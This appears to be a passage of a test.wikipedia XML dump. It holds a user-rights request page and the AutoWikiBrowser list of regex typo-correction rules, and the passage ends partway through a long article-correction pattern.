Wikipedia
testwiki
https://test.wikipedia.org/wiki/Main_Page
MediaWiki 1.47.0-wmf.24
first-letter
Media
Special
Talk
User
User talk
Wikipedia
Wikipedia talk
File
File talk
MediaWiki
MediaWiki talk
Template
Template talk
Help
Help talk
Category
Category talk
Thread
Thread talk
Summary
Summary talk
Test namespace 1
Test namespace 1 talk
Test namespace 2
Test namespace 2 talk
Draft
Draft talk
Campaign
Campaign talk
TimedText
TimedText talk
Module
Module talk
SecurePoll
SecurePoll talk
Package
Package talk
CNBanner
CNBanner talk
Translations
Translations talk
Event
Event talk
Topic
Newsletter
Newsletter talk
Wikipedia:Requests/Permissions
4
32559
768281
767250
2026-10-13T14:18:45Z
TienMinh-mun6xnChing
76150
/* Requests for user rights */ ok I decided
768281
wikitext
text/x-wiki
<noinclude>{{Shortcut|WP:R/P|WP:RfP|WP:RfA|WP:PERM|WP:RFR|WP:RFPERM}}</noinclude>
{{Wikipedia:Requests/Top}}
== Requests for user rights ==
* Subpages: [[Wikipedia:Requests/Permissions/All|All (current and archived)]]
* Request:
<inputbox>
type=create
prefix=Wikipedia:Requests/Permissions/
preload=Template:PA2
buttonlabel=Requests for user rights
placeholder=Enter your username
</inputbox>
After creating the subpage, come back here and transclude the page below (<code><nowiki>{{Wikipedia:Requests/Permissions/Example}}</nowiki></code>).
<!-- Please transclude your requests below this line, LATEST AT THE TOP, in the form {{Wikipedia:Requests/Permissions/USERNAME}} -->
{{Wikipedia:Requests/Permissions/TypeInfo}}
{{Wikipedia:Requests/Permissions/TienMinh-mun6xnChing}}
<!-- NEW ENTRIES AT THE TOP, NOT HERE -->
{{Wikipedia:Requests/Permissions/Làm Việc Thiện}}
690ja7agqv2nwt7pztzol47ra8s9ukj
Wikipedia:AutoWikiBrowser/Typos
4
34824
768360
726752
2026-10-14T06:17:53Z
Ponor
47975
/* New HTML entities */ [[:en:User_talk:Joeytje50/JWB#c-Shabe-20261002233300-apostrophe_matched_instead_of_code]]
768360
wikitext
text/x-wiki
==Typo test for AWB==
<source lang="xml">
<Typo word="à la" find="\b(?!ala)(?:[aáa]\s*|à)l[àáa]\b" replace="à la" />
<Typo word="Emperor" find="\b(E|e)mp(?:ere|o?r[eo])r(s?|ship)\b" replace="$1mperor$2" />
<Typo word="Tamil Nadu" find="\b[Tt]amil\s*[Nn]adu\b(?<!Tamil Nadu)" replace="Tamil Nadu" />
<Typo word="Indore" find="\bindor(e|eans?|ites?)\b" replace="Indor$1" />
<Typo word="Elliptic(al/ally)" find="\b(E|e)liptic(al|ally)?\b" replace="$1lliptic$2" />
<Typo word="Irreparable" find="\b(I|i)rrep(?:e|ai)rabl(e|y)\b" replace="$1rreparabl$2" />
<Typo word="Atypical" find="\buntypical(ly)?\b" replace="atypical$1" />
<Typo word="Petersburg" find="\b[Pp]eters?b(?:e|ou)rg\b(?!\s+[Aa]greement)" replace="Petersburg" />
<Typo word="Subsequent" find="\b([Ss]u)p(sequent\w*)\b" replace="$1b$2" />
<Typo word="Humorous" find="\b(H|h)umourous(ly)?\b" replace="$1umorous$2" />
<Typo word="While" find="\b(W|w)hi(?:el|lle)\b" replace="$1hile" />
<Typo word="Scenario" find="\b(?!Senario\b)(S|s)(?:ena|c?ene)rio(s?)\b" replace="$1cenario$2" /><!--avoid proper noun "Senario"-->
<Typo word="(Mis)Managing" find="\b(M|m|[Mm]ism)an(?:g|age)ing\b" replace="$1anaging" />
<Typo word="Ultimate" find="\b(U|u)li?tmate(|ly)\b" replace="$1ltimate$2" />
<Typo word="Documentary" find="\b(D|d)ocumentr(y|ies)\b" replace="$1ocumentar$2" />
<Typo word="Util-" find="\b(U|u)(?:t|lti)li+([stz]\w+)\b" replace="$1tili$2" />
<Typo word="Died" find="\b(?:(?:tragical|sad)ly\s+(?:passed\s+away|died)|(?:passed\s+away|died)\s+(?:tragical|sad)ly|passed\s+away)\b" replace="died" />
<Typo word="(B/M/S)adly" find="\b(B|b|M|m|S|s)addly\b" replace="$1adly" />
<Typo word="Occupied" find="\b(O|o)ccupate(d|s)\b" replace="$1ccupie$2" />
<Typo word="Occupy" find="\b(O|o)ccupate?(ing)?\b" replace="$1ccupy$2" />
<Typo word="Ennoble" find="\b(E|e)nobl(ed?|ing)\b" replace="$1nnobl$2" />
<Typo word="Meteorite" find="\b(M|m)eterorite(s?)\b" replace="$1eteorite$2" />
<Typo word="Obstacle" find="\b(O|o)b(?:s?tica?le?|s?tacal|tacle)(s?)\b" replace="$1bstacle$2" />
<Typo word="Lantern" find="\b(L|l)atern(s(?<!Laterns))?\b" replace="$1antern$2" /><!--Avoid place name Laterns-->
<Typo word="Mortar" find="(?!\bMorter\b)\b(M|m)orter(s?|ed|ing)\b" replace="$1ortar$2" /><!--Avoid surname Morter-->
<Typo word="Disability" find="\b(D|d)isibilit(\w+)\b" replace="$1isabilit$2" />
<Typo word="Newspaper" find="\b(N|n)ewpaper(s?|m[ae]n)\b" replace="$1ewspaper$2" />
<Typo word="Ceremony" find="\b(C|c)era?mon(y|ies|ial\w*|ious\w*)\b" replace="$1eremon$2" />
<Typo word="Květa Peschke" find="\bKveta\s+Peschke\b" replace="Květa Peschke" />
<Typo word="Succinct" find="\b(S|s)uccint(|ly|ness)\b" replace="$1uccinct$2"/>
<Typo word="In(evi/fla/imi/jec)table" find="\b(I|i)n(evi|fla|imi|jec)tibl(es?|y)\b" replace="$1n$2tabl$3" />
<Typo word="-gest" find="\b([Cc]o|I|i)njest(s?|ed|ing|ion|ive)\b" replace="$1ngest$2"/>
<Typo word="Of(f) course" find="\b([Oo]f+)course\b" replace="$1 course" />
<Typo word="(C/W/Sh)ould have" find="\b([CcWw]|Sh|sh)ould\s+of\b(\S|\s+(?:been|[dg]one|had|said))\b" replace="$1ould have$2" />
<Typo word="(Min/Max/Opt)imum" find="\b([Mm](?:in|ax)|[Oo]pt)i(?:miu?|nu)m(s?)\b" replace="$1imum$2" />
<Typo word="An English" find="\b(A|a)\s+[Ee]nglis(h\w*)\b" replace="$1n Englis$2" />
<Typo word="An American" find="\b(A|a)\s+[Aa]merica(n\w*)\b" replace="$1n America$2" />
<Typo word="April Fool('s\s') Day" find="\b[Aa]pril\s+[Ff]ool('s|s')\s+day\b" replace="April Fool$1 Day" />
<Typo word="April Fools' Day" find="\b[Aa]pril\s+[Ff]ools\s+[Dd]ay\b" replace="April Fools' Day" />
<Typo word="The Earth's" find="\b(T|t)he\s+earth's\b" replace="$1he Earth's" />
<Typo word="Veteran" find="\b(V|v)et(?:a?ra|erea?)n(s?)" replace="$1eteran$2" />
<Typo word="Fourth of July" find="\b([Ff]o|fou)rth\s+[Oo]f\s+[Jj]uly\b" replace="Fourth of July" />
<Typo word="Thanksgiving" find="\b(T|t)hans?kgs?iving(s?)\b" replace="$1hanksgiving$2" />
<Typo word="_Thanksgiving Day" find="\bThanks?giving\s+day\b" replace="Thanksgiving Day" />
<Typo word="New Year's Day_" find="\b[Nn]ew\s+([Yy]ear'?s\s+d|[Yy]ears's?\s+[Dd])ay\b" replace="New Year's Day" /><!--avoid band name New Years Day-->
<Typo word="New Year's Eve" find="\b[Nn]ew\s+([Yy]ear's\s+e|[Yy]ears'?s?\s+[Ee])ve\b" replace="New Year's Eve" />
<Typo word="Christmas Day" find="\b[Cc]hristmas\s+day\b" replace="Christmas Day" />
<Typo word="Christmas Eve" find="\b[Cc]hristmas\s+eve\b" replace="Christmas Eve" />
<Typo word="Valentine's Day" find="\b[Vv]alentine((s?|s's?)\s+[Dd]|'s\s+d)ay\b" replace="Valentine's Day" />
<Typo word="Parishioner" find="\b(P|p)arishoner(s?)\b" replace="$1arishioner$2" />
<Typo word="Envelop" find="\benvelope(s?\s+(?:me|him|us|them))\b" replace="envelop$1" />
<Typo word="Muhammad etc." find="\bm([ou]ham+[ae][dt])(|ans?)\b" replace="M$1$2" />
<Typo word="Allah" find="\ballah\b" replace="Allah" />
<Typo word="Totally" find="\b(T|t)ott?aly\b" replace="$1otally" />
<Typo word="Total" find="\b(T|t)ottal(s|ly|l?ed|l?ing)?\b" replace="$1otal$2" />
<Typo word="Impress" find="\b(I|i)m(?:mpres?|m?pers?|pre)s(e[ds]|i[a-z]+)?\b" replace="$1mpress$2" /><!--avoid impresión etc.-->
<Typo word="Fail(ed\ing)" find="\b(F|f)aill(ed|ing)\b" replace="$1ail$2"/>
<Typo word="Christian" find="\bchristian(s?|i[stz]\w+)\b" replace="Christian$1"/>
<Typo word="A ... church" find="\b([Aa]n?)\s+(Christian|Protestant|(Roman\s+)?[Cc]atholic|Lutheran|Baptist|Anglican|Methodist|Mormon)\s+Church\b" replace="$1 $2 church" />
<Typo word="George" find="Goerg(e|ian?s?|etown)" replace="Georg$1" /><!--don't match "Goerges"-->
<Typo word="Remain" find="(?!\bRemian\b)\b(R|r)e(?:mia|ama?i)n(s?|ed|ders?|ing)\b" replace="$1emain$2" /><!--avoid proper noun Remian-->
<Typo word="Remaining" find="\b(R|r)ema(ing(ing)?|ning)\b" replace="$1emaining" />
<Typo word="Affidavit" find="\b(A|a)ffadavit(s?)\b" replace="$1ffidavit$2" />
<Typo word="Shrewd" find="\b(S|s)hrewed(ly)?\b" replace="$1hrewd$2" />
<Typo word="Devastate" find="\b(D|d)ev(?:[ei]st?|as)at(es?|ed|ing|ion)\b" replace="$1evastat$2" />
<Typo word="Vertical" find="\b(V|v)erticle(s?)\b" replace="$1ertical$2" />
<Typo word="The" find="\b[Tt]He(n?|irs?|re|se|y)\b" replace="The$1" />
<Typo word="Disney World" find="\b[Dd]isney[Ww]orld\b(?!\.com)" replace="Disney World" />
<Typo word="Disneyland" find="\b[Dd]isney(\s+[Ll]|L)and\b" replace="Disneyland" />
<Typo word="Disney(land)" find="\bdisney(land)?\b" replace="Disney$1" />
<Typo word="Catholic_" find="\bcatholic(s|ism)\b" replace="Catholic$1" /><!--exclude potential FP catholic-->
<Typo word="Exhibit" find="\b(E|e)xih?bit(s?|t?ed|ing|ors?|ions?)\b" replace="$1xhibit$2" />
<Typo word="pro-life" find="\bpro\s*life(|rs?)\b" replace="pro-life$1"/><!--exclude cap. form due to various proper nouns-->
<Typo word="Ethnic" find="\b(E|e)nthn?ic(ity|ities)?\b" replace="$1thnic$2"/><!--don't match Ethenic-->
<Typo word="Obituary" find="\b(O|o)bit(?:i?a|a?u)r(y|ies)\b" replace="$1bituar$2" />
<Typo word="Coffee" find="\b(C|c)of(?:ee|fe)(house|pot|shop)?(s?)\b" replace="$1offee$2$3"/>
<Typo word="(Long/Short)-lived" find="\b([Ll]ong|[Ss]hort)lived\b" replace="$1-lived"/>
<Typo word="-onym" find="\b([Aa]cr|[Aa]n|[Ee]p|[Hh]om|[Pp]seud|[Ss]yn)(?:yn[oy]m|on[aio]m|onym?n)(s?|ous|ously|ity|y)\b" replace="$1onym$2"/>
<Typo word="Eponymous" find="\b(E|e)p(?:nymo|onym)us(ly)?\b" replace="$1ponymous$2"/>
<Typo word="Anglican" find="\banglican(s?|ism)\b" replace="Anglican$1"/>
<Typo word="Baptist_" find="\bbaptist(?=\s+(?:[Cc]hurch|minister|preacher|college|school|university)s?|(?<=John\s+[Tt]he\s+baptist))\b" replace="Baptist"/><!--look around for key terms to avoid FPs-->
<Typo word="Calvinism" find="\bcalvinis(\w+)\b" replace="Calvinis$1"/>
<Typo word="Lutheran" find="\b[Ll]ut(?:era|h?eria)n(s?|ism)\b" replace="Lutheran$1"/>
<Typo word="Lutheran" find="\blutheran(s?|ism)\b" replace="Lutheran$1"/>
<Typo word="Methodist" find="\bmethodis(m|ts?|tic)\b" replace="Methodis$1"/>
<Typo word="Mormon" find="\bmormon(s?|ism)\b" replace="Mormon$1"/>
<Typo word="Pentecost" find="\b(?:pente|[Pp]enta)cost(s?|als?|alism)\b" replace="Pentecost$1"/>
<Typo word="(Jun/Sen)ior" find="\b([Jj]u|[Ss]e)(?:ino|noi)r(s?|ity)\b" replace="$1nior$2"/>
<Typo word="(Re)iterate" find="\b([Rr]ei|I|i)tterat(ed?|es|ing|ions?|ive(:?ly)|or)\b" replace="$1terat$2"/>
<Typo word="The Catholic Church" find="\b(T|t)he\s+(Roman\s+)?[Cc]atholi?c church\b" replace="$1he $2Catholic Church" />
<Typo word="Roman Catholic" find="\b(?:Roman(?:-\s*[Cc]|\s*c|[Cc])|roman-?\s*[Cc])at(?:holi?|oli)c(\w*)\b" replace="Roman Catholic$1" />
<Typo word="(Junior/Senior) varsity" find="\b([Jj]unior|[Ss]enior)s\s+varsity\b" replace="$1 varsity" />
<Typo word="Sea- (no hyphen)" find="\b(S|s)ea-(board?|foods?|m[ae]n|ports?|planes?|wards?|weeds?|worth(?:y|iness))\b" replace="$1ea$2" />
<!--No other sea- words should be corrected; see talk page (Wikipedia_talk:AutoWikiBrowser/Typos#Sea-)-->
<Typo word="Muslim/Moslem" find="\bm(usli|osle)(ms?)\b" replace="M$1$2" />
<Typo word="Country" find="\b(C|c)ontr(ies|y|ysides?|m[ae]n|[iy]e?fied)\b" replace="$1ountr$2" />
<Typo word="Call(ed/ing)" find="\b(C|c)al(ed|ing)\b" replace="$1all$2" />
<Typo word="Leoš Janáček" find="\bLeos\s+Jan[aàäãǎāăá][cč]ek\b" replace="Leoš Janáček" />
<Typo word="Moment" find="\b(M|m)o(?:mmen|mem)t(ar(?:y|ily)|s)?\b" replace="$1oment$2" />
<Typo word="(Crime/Drug) lord" find="\b([Cc]rime|[Dd]rug)-?lord(s?)\b" replace="$1 lord$2" />
<Typo word="-ament" find="\b([Ff]il|[Ll]i[gn]|[Tt]est|[Tt]ourn)ia?ment(s?|ary)\b" replace="$1ament$2"/>
<Typo word="The(space)" find="\b(T|t)he(([Bb]e|[Ff]ir|[Ll]a|[Mm]o)st|[Ss]econd|[Tt]hird)\b" replace="$1he $2" /><!--don't find "Theman", "TheWorld"-->
<Typo word="-ight" find="\b([BbWw]?[Rr]|[FfSs]l?|[Kk]?[Nn])igth?(s?|ed|ing|er|l?y|life|hoods?)\b" replace="$1ight$2" />
<Typo word="(space)The" find="\b([Aa](?:fter|nd|s|t)|[Bb]y|[Ff]or|[IiOo][fn]|[Oo]ver|[Tt]o|[Uu](?:nder|ntil|p)[Ww](?:hen|ith))(T|t)he\b" replace="$1 $2he" /><!--don't find "(Be/Go/Or/So)the"-->
<Typo word="(T/W)hose" find="\b([TtWw]h)oose\b" replace="$1ose" />
<Typo word="(Arch)Enemy" find="\b([Aa]rche|E|e)(?:[nm]i|me|nen)m(y|ies)\b" replace="$1nem$2" /><!--don't find "Archey"-->
<Typo word="(Arch)Enemy" find="\b([Aa]rche|E|e)nemie\b" replace="$1nemy" />
<Typo word="Teatro Colón" find="\b[Tt]eatro\s+[Cc]olon\b" replace="Teatro Colón" />
<Typo word="Iridescent" find="\b(I|i)rridescen(t\w*|ce)\b" replace="$1ridescen$2" />
<Typo word="Xiph-" find="\b(X|x)yph([io]\w+)\b" replace="$1iph$2" /><!--don't match Xyphus-->
<Typo word="India(na)" find="\b[Ii]ndai(|ns?|ni?an?s?)\b" replace="India$1" />
<Typo word="Beirut" find="\b[Bb]ei?ruit\b" replace="Beirut" />
<Typo word="-trate" find="\b([Cc]oncen|[Ii]nfil)tar?t(es?|ed|ing|ions?|ors?)\b" replace="$1trat$2" />
<Typo word="-(s)trate" find="\b([Aa]dmini|[DdRr]emon|[Ff]ru|[Ii]llu|[Mm]agi|[Oo]rche)star?t(es?|ed|ing|ions?|ive(s?|ly)|ors?)\b" replace="$1strat$2" />
<Typo word="Frustum" find="\b(F|f)rustr(ums?|a)\b" replace="$1rust$2" />
<Typo word="Alumni" find="\b(A|a)lumi?nis\b" replace="$1lumni" />
<Typo word="An alumnus of" find="\b(A|a)n?\s+[Aa]lumi?ni\s+of\b" replace="$1n alumnus of" />
<Typo word="World Wide Web" find="\b[Ww]orld[-\s]*wide\s+[Ww]eb\b" replace="World Wide Web" />
<Typo word="-kel" find="\b([Ss]he|[Ss]nor|[Yy]o)kle(s?|ing)\b" replace="$1kel$2" />
<Typo word="Snorkeled" find="\b(S|s)norkl(ed|ers?|ing)\b" replace="$1norkel$2" />
<Typo word="_plant life" find="(?!\bPlantlife\b)\b(P|p)lant-?life\b" replace="$1lant life" /><!--ignore proper n. Plantlife-->
<Typo word="Beijing" find="\b[Bb]ejing\b" replace="Beijing" />
<Typo word="Wh-" find="\b(W|w)(ere(?:abouts|by)|isker(?:s|ed)|istl(?:er?s?|ed|ing))\b" replace="$1h$2" />
<Typo word="-cidental(ly)" find="\b([Aa]c|(?:[Cc]o)?[Ii]n)c(?:ident(?:a|ial)|edenti?al?)(s?|ly)\b" replace="$1cidental$2" />
<Typo word="-ese" find="\b([Cc]hin|[Dd]ioc|[Jj]a[pv]an|[Ll]eban|[Mm]alt|[Pp]ortugu|[Ss]iam)e[aes]se\b" replace="$1ese" />
<Typo word="-ify" find="\b([DdMm]is)?([Hh]orr|[Ii]dent|[Qq]ual|[Rr]at|[Ss]pec|[Tt]err|[Vv]er)(?:[ao]f|i?fi)y(ing)?\b" replace="$1$2ify$3"/>
<Typo word="-itch_" find="\b([DdHhPpWw]|[Ss][tw]|[Tt]w)ict?h(e[ds]|ing|(?<![Ww]ich)ers?)\b(?<!Picher)" replace="$1itch$2" /><!--don't find "swich", "wicher", "Picher"-->
<Typo word="-lytic" find="\b((?:[Pp]sycho)?[Aa]na|(?:[Aa]uto)?[Cc]ata|[Ee]lectro)litic(s?|al|ally)\b" replace="$1lytic$2" />
<Typo word="Botswana" find="\b[Bb]o(?:stwa|tswan)na(n?s?)\b" replace="Botswana$1" />
<Typo word="World" find="\b(W|w|[Uu]nderw)(?:rol|olr)d(s?|ly|wide)\b" replace="$1orld$2" />
<Typo word="Quatern-" find="\b(Q|q)uartern([ai]\w+)\b" replace="$1uatern$2" />
<Typo word="Advocate" find="\b(A|a)dovc?at(e[ds]?|ing|ion|ory?)\b" replace="$1dvocat$2" />
<Typo word="Injured" find="\b(I|i)njur[ir]ed\b" replace="$1njured" />
<Typo word="Off-" find="\b(O|o)f(?:|ff)(er(?:ed|ings?)|ice(?:r?|holder)s?|icia(l(?:s|ly|dom|ism)|te(?:s?|d)|ting))\b" replace="$1ff$2" /><!--don't match Ofer, Oficial-->
<Typo word="After" find="\b(A|a)f[ft]ter\b" replace="$1fter" />
<Typo word="Based (off) of" find="\b(B|b)ased\s+(off\s+)?of\b" replace="$1ased on" />
<Typo word="Dante Alighieri" find="\bDante\s+Aligh(?:ei?ri|irei?)\b" replace="Dante Alighieri" />
<Typo word="Nineteen" find="\b(N|n)inteen(s?|ths?)\b" replace="$1ineteen$2" />
<Typo word="Once/Twice" find="\b([Oo]n|[Tt]wi)ced\b" replace="$1ce" />
<Typo word="Fort Worth" find="\bForth\s+Worth\b" replace="Fort Worth" />
<Typo word="the first time" find="\b(T|t)he\s+(very\s+)?fr?ist\s+time\b" replace="$1he $2first time" />
<Typo word="Disse-" find="\b(D|d)ise([cnr]t|mbl|minat|nsion|rtat|rv|rvic|ver)(e?[ds]?|[eo]rs?|ing|ions?)\b" replace="$1isse$2$3" />
<Typo word="et al." find="\bet(\.\s*al\b\.?|\s+al\b(?!\.))" replace="et al." />
<Typo word="known as" find="(,|\-|is|w?as|are|were|became|or|but|perhaps|been)\s+((?:more\s+|most\s+)?(?:usual|wide|normal|general|common|most)ly|well|better|best|often|also)\s+know\s+(as|for)\b" replace="$1 $2 known $3" />
<Typo word="Visitor" find="\b(V|v)ist(ors?|ed|ing)\b" replace="$1isit$2" /><!--don't find "visiter"-->
<Typo word="Ordnance (Survey/…)" find="\bOrdinance\s+(Board|Corps|Department|Group|Museum|Squadron|Survey|Testing)\b" replace="Ordnance $1" />
<Typo word="_Torsion_" find="\b(?<!X\.\s+)(T|t)ortion(s?|al|ally)\b" replace="$1orsion$2" /><!--don't find "X. Tortion World Wide"; beware of "tort" variants-->
<Typo word="-Graph-" find="\b(\w*[Gg])rpah(\w*)\b" replace="$1raph$2"/>
<Typo word="(Dis/Mis/Non/Un)Believ(ing/able)" find="\b(B|b|[DdMm]isb|[Nn]onb|[Uu]nb)ele?ie?ve(ing|abl[ey]|ability)\b" replace="$1eliev$2" /><!--to catch "e" after "v" with these endings-->
<Typo word="Née" find="([ (])n[eè][eèé]\b" replace="$1née" />
<Typo word="There (grammar)" find="\b(T|t)heir\s+((?:are|were|is|(?:c|w|sh)ould|[hw]as|have|had|may)(?:n't)?|can(?:not|'t)?|shall|shan't|ain't|might(?=\s+be\b))\b(?!-)" replace="$1here $2" /><!--Don't match 'their would-be'-->
<Typo word="km²" find="\b(?<!{)[Ss][Qq][-.\s]+[Kk][Mm]\b" replace="km<sup>2</sup>" /><!--Look behind to make sure it's not in a conversion template-->
<Typo word="Factor_" find="\b(F|f)acter(s|ed|ing|ize[ds]?|y|ies)\b" replace="$1actor$2" /><!--Don't fix "Facter": name of software-->
</source>
==Typo list==
[[:simple:Special:Permalink/10546584]]
<big>All changes to this list are LIVE. AWB loads directly from this list whenever someone enables the RETF option.</big>
===New additions===
{{hatnote|For ease of correcting errors in newly added rules, please add new rules at the top of this section or its appropriate sub-section.}}
<source lang="xml">
<Typo word="Corps of Engineers" find="\bCorp\s+of\s+Engineers\b" replace="Corps of Engineers"/>
<Typo word="0–0" find="\b(\d+)(?<=\s\d+)[-—](\d+)(?=(?:[,\.]|\s+(?:academic|advantage|against|at|away|career|defeat|deficit|draw|final|game|home|in|lead|loss|overtime|record|rout|run|school\s+year|score|season|shootout|start|term|tie|triumph|victory|win|with)\b))(?<!\b(?:No\.|IS[BS]N)\s+\d+[-—]\d+)(?<!\b\d{2}[-—]\d{3})(?<!\b\d{1}[-—]\d{2})" replace="$1–$2"/>
<Typo word="north–south" find="\b[Nn]orth(?<=(?:,|\b(?:[a-z]+|The))\s+\w+)(west|east)?[-/][Ss]outh(west|east)?\b(?!\s+[A-Z])" replace="north$1–south$2"/>
<Typo word="south–north" find="\b[Ss]outh(?<=(?:,|\b(?:[a-z]+|The))\s+\w+)(west|east)?[-/][Nn]orth(west|east)?\b(?!\s+[A-Z])" replace="south$1–north$2"/>
<Typo word="east–west" find="\b[Ee]ast(?<=(?:,|\b(?:[a-z]+|The))\s+\w+)-[Ww]est\b(?!\s+[A-Z])" replace="east–west"/>
<Typo word="west–east" find="\b[Ww]est(?<=(?:,|\b(?:[a-z]+|The))\s+\w+)-[Ee]ast\b(?!\s+[A-Z])" replace="west–east"/>
<Typo word="north–south" find="\b([Nn]orth(?:west|east)?)[-/][Ss](outh(?:west|east)?)(?=\s+(?:alignment|avenue|axis|border|boundary|corridor|direction|distance|divide|division|expressway|extension|extent|highway|interstate|length|line|link|main|mountain|orientation|portion|quadrant|rail|railway|ridge|road|route|running|runway|section|segment|street|trade|traffic)s?\b)" replace="$1–s$2"/>
<Typo word="south–north" find="\b([Ss]outh(?:west|east)?)[-/][Nn](orth(?:west|east)?)(?=\s+(?:alignment|avenue|axis|border|boundary|corridor|direction|distance|divide|division|expressway|extension|extent|highway|interstate|length|line|link|main|mountain|orientation|portion|quadrant|rail|railway|ridge|road|route|running|runway|section|segment|street|trade|traffic)s?\b)" replace="$1–n$2"/>
<Typo word="east–west" find="\b([Ee]ast)[-/][Ww](est)(?=\s+(?:alignment|avenue|axis|border|boundary|corridor|direction|distance|divide|division|expressway|extension|extent|highway|interstate|length|line|link|main|mountain|orientation|portion|quadrant|rail|railway|ridge|road|route|running|runway|section|segment|street|trade|traffic)s?\b)" replace="$1–w$2"/>
<Typo word="west–east" find="\b([Ww]est)[-/][Ee](ast)(?=\s+(?:alignment|avenue|axis|border|boundary|corridor|direction|distance|divide|division|expressway|extension|extent|highway|interstate|length|line|link|main|mountain|orientation|portion|quadrant|rail|railway|ridge|road|route|running|runway|section|segment|street|trade|traffic)s?\b)" replace="$1–e$2"/>
<Typo word="Acoustic" find="\b([Ee]lectroa|[Pp]hotoa|[Aa])custic(al|s)?\b" replace="$1coustic$2"/>
<Typo word="Jacuzzi" find="\bjacuzzi(s)?\b" replace="Jacuzzi$1"/>
<Typo word="Bhojpuri" find="\bbhojpuri\b" replace="Bhojpuri"/>
<Typo word="Evening" find="\b([Ee])[bcf]ening\b" replace="$1vening"/>
<Typo word="Blu-ray" find="\b[Bb]lu\s?[Rr]ay\b" replace="Blu-ray"/>
<Typo word="A to An" find="\b(?<=[\s\(]|\A)([Aa])(?<=a|(?:(?:\.|\n)\s\s?\s?|\A)A)\s\s?((?:[aA](?!\b|2\b|[Aa]A?[AaT]?|bogado|brirse|cademiei|cao|cceptat?a?|cestei|cordo|cquis|ddaswyd|ED|FN|face|fecta|jouté|juns|l(?:do\b|guien\b)|lba\b|lcalde|LL|lma|mbasadei|mérica|MD|[Nn](\b|amnese|[Dd]\b|daluc|G|ihila|ului|tiga)|OA|p(?:agar\b|arecer\b|ostar\b|robat\b)|quest|rder\b|renys\b|rmatei\b|rquitectura|R(S|\$)|rte(\b|lor\b)|s\b|ssouvi|t\b|tahualpa\b|tenuar|thair|tlântida|triz|tteint|U(D|S|\$|\£)|usiàs|ustriei\b|vançar|venida|vut\b|WG|ZN)|[eE](?!\b|cologia|dição|dil\b|ditora\b|gipto|GP|la\b|litei\b|llas\b|m(?:a\b|bajadora|boîté|igracja|pezar\b)|n(?:core\sdu|ergia|flamm[eé]|frentar|gagé|gañar|loquecer|se[nñ]ar|tend(erse|u)\b|trada|tra[iî]n[eé]|trar\b|tre(nador|nar)?|voyé)|qui(librista|p[ao])|RN|s(?:as?\b|cada|cala|cola|cuchar|cuela|cultura|curidão|fera|pa[nñń]|paldas|perança)|st(a\b|aciones|ados|ar\b|e\b|é|eban|o\b|os\b|rada|rat[eé][gx]ia|r[eé][il]a|rellar|ruc?tura|udia[nr])|t\b|TB\b|t[eé]\b|terna\b|[Uu]([A-Za-z]{2}|\sde\b)|UI|UR|v(acuar|reilor|rop)|w[abei]|xist[ée](ncia)?|xpansão|xperi[eê]ncia|xpressão|xposição|xtranj)|h(?:aut[besu]|eir|o(?:rs\sd|ur(\b|g|s|ly)))|[iI](?!\b|aij|a[șş]i|DR\b|greja|[Ii][Ii]?[Ii]?|l\sraen\b|legal|lha\b|LS|mage[nm]\b|migração|mmagini\b|n(?:\b|ceput|dia[’']?s\b|dicação|dro\b|dúst|és|fluência|formační|glat|icios|nei\b|quisição|stancias|stitucí|sulté|tegra(nte|rse)|teligência|ter(preta|ven)[cç][aã]o|timidade|tra\b|vasão|venté|vestit)|NR\b|QD\b|R£|RR\b|s(\b|chia\b|la\b|te\b)|SK|ts?\b|u(bit\b|bit-o\b|dex\b|dice\b|re\b)|[vxVX]\b|Vth|XC\b|[\b\d])|M(?:D\b|VP\b)|[oO](?!\b|ax|b(a\b|čan|chodní|ra|tenu|ţi|yv)|c(cidente|ho|hrany|upat)|d\b|de[cč]et\b|este|f\b|ferecer|ggi|hniv|ito\b|kol[íi]e?\b|lot\b|lše\b|lvidarte|mnisciê|MR\b|nda\b|[Nn](\s|[CcçIi][aEe]|[Ee](?!rous|g\b|ga\b|ges|gin|ida|i[lr]))|O\b|opa|péra|perador\b|ra?\b|[Rr](?:\b|a(?:[şsș]ului|z\b)|chestr\b|dem|dinii|fu\b|i\b|illa)|S-9\b|sasuna|scuras|sobnosti|sona|tr[ao]\b|ttobre|u\b|ua[bcdglt]|ued|ui|utro|velha|viedo)|u(?!\b|\-|\:|\.|[A-Z0-9]|adim|ah\b|ain\b|b[aiou]|c|č|dev\b|draw\b|e|fo|ga(li|nd)|gx\b|ile\b|in|iro|itat\b|jam|k|lak|lu|ma?\b|mění\b|mria|mrl|n(?:(\s|as?\b|ani|ary|ate\b)|d\b|e(\b|i\b|sco)|o[rs]?\b|s\b|uib?)|ni(?!de|dio|dl|do|gn|ll|mag|mb|mi|mm|mp[aeloru]|nau|nc|nd|neb|nf|ng|nh|nj|nk|nin|nit|nn|noc|nq|ns|nt|nv|rad|rk|ron|rr)|omo|pazilas?|prisin\b|r[aeiolsuy]|s[aeiou]|s(b(net)?|d)\b|s\$|s(hape|tream|ted(es)?\b)|t[aeiou]|tranga|tric|v|yu\b|ž|zs\b))[^\|\[\]\<\⌊\>\{\}\s]{0,29})(?<=\b(\S|\s){1,49}(?<!\b(?:[Aa](baten|cceso|compañando|cosa|ct|cusa|di[oó]s|dmisión|dvanced|eroporto|gus|menazan|n\b|ndalucía|nfibio|[Nnñ][Oo]|ns\b|prendiendo|şa|spirante|tacó|tención|ur|usf(\.|ührung)|umenta|utorov|xudar|yúdame|yudar|yudó)|[Bb](attery|arokiem|enefician|ílé|usca(ndo)?)|[CcČ](abellera|alle|amino|antan?\b|arretera|artas?|asar|ategory\:?|e|ensura|entrală|ercano|hama|hlorophyll|hromogranin?|iclista|íny|lass|o\.|om|omienzan|omp(any|osition|ound|ró|rometido)|omunicações|oncerto|onoció|onfirma|ontrat[aoó]|onvocatoria|osta|um|uarto||yclosporine)|[Dd]([aáàâăåeêèé]|alla|e[nst]|edicada|eseó|enuncian|erecho|es(apareceu|pedida|piden)|etienen|evoción|[iîìíòôóuùûú]|igas|ile|irecto|ivision|ojmy|ouble|urante)|[EÉeé](\b|cusa|insatzgruppe|jecutan?|le|lle|mpecé|n|nfrent(a|ará)|nseñ(ame|ó|o)|ntonces|ntre(\b|gó|vista)|s|squivel|st|t|xtradita(do)?|xitos)|[Ff](acilitar|az|emenina|ermato|iammanti|ichó|ormula|rente|usil|u[ií]|utbol)|[Gg](alega|enerală|lorie|olpe|rade|roup|uerra)|[Hh](istorických|omena(je|gem|tge)|ousle)|[iI](\b|l\b|nformații|nna|nte(gran|rpreta|rvista)|ntrodu(cción|zione)|nvita(ción)?|storie|terum)|[Jj](r|ung|unto|unior)|[Kk](lavír|rál|rtek|ultúry|uřátko)|[Ll](abe|